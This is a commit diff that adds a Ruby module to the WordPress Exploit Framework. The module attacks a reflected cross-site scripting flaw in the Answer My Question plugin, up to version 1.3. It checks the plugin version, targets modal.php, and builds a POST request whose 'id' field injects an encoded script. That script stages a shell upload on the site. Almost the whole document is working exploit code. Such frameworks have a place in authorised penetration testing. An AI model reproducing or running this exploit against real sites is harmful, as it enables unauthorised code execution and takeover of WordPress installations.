Add Answer My Question 1.3 reflected XSS shell upload

Author: rastating

modules/exploits/answer_my_question_reflected_xss_shell_upload.rb

@@ -0,0 +1,39 @@
+class Wpxf::Exploit::AnswerMyQuestionReflectedXssShellUpload < Wpxf::Module
+  include Wpxf::WordPress::StagedReflectedXss
+
+  def initialize
+    super
+
+    update_info(
+      name: 'Answer My Question <= 1.3 Reflected XSS Shell Upload',
+      author: [
+        'Rob Carr <rob[at]rastating.com>' # WPXF module
+      ],
+      references: [
+        ['WPVDB', '8800']
+      ],
+      date: 'Apr 24 2017'
+    )
+  end
+
+  def check
+    check_plugin_version_from_changelog('answer-my-question', 'readme.txt', '1.4')
+  end
+
+  def vulnerable_url
+    normalize_uri(wordpress_url_plugins, 'answer-my-question', 'modal.php')
+  end
+
+  def initial_script
+    create_basic_post_script(
+      vulnerable_url,
+      'id' => "\\\"><script>#{xss_ascii_encoded_include_script}<\\/script>",
+      'posted' => '1',
+      'notify' => '',
+      'user_email' => Utility::Text.rand_email,
+      'subject' => Utility::Text.rand_alpha(10),
+      'question' => Utility::Text.rand_alpha(10),
+      'answer' => Utility::Text.rand_alpha(10)
+    )
+  end
+end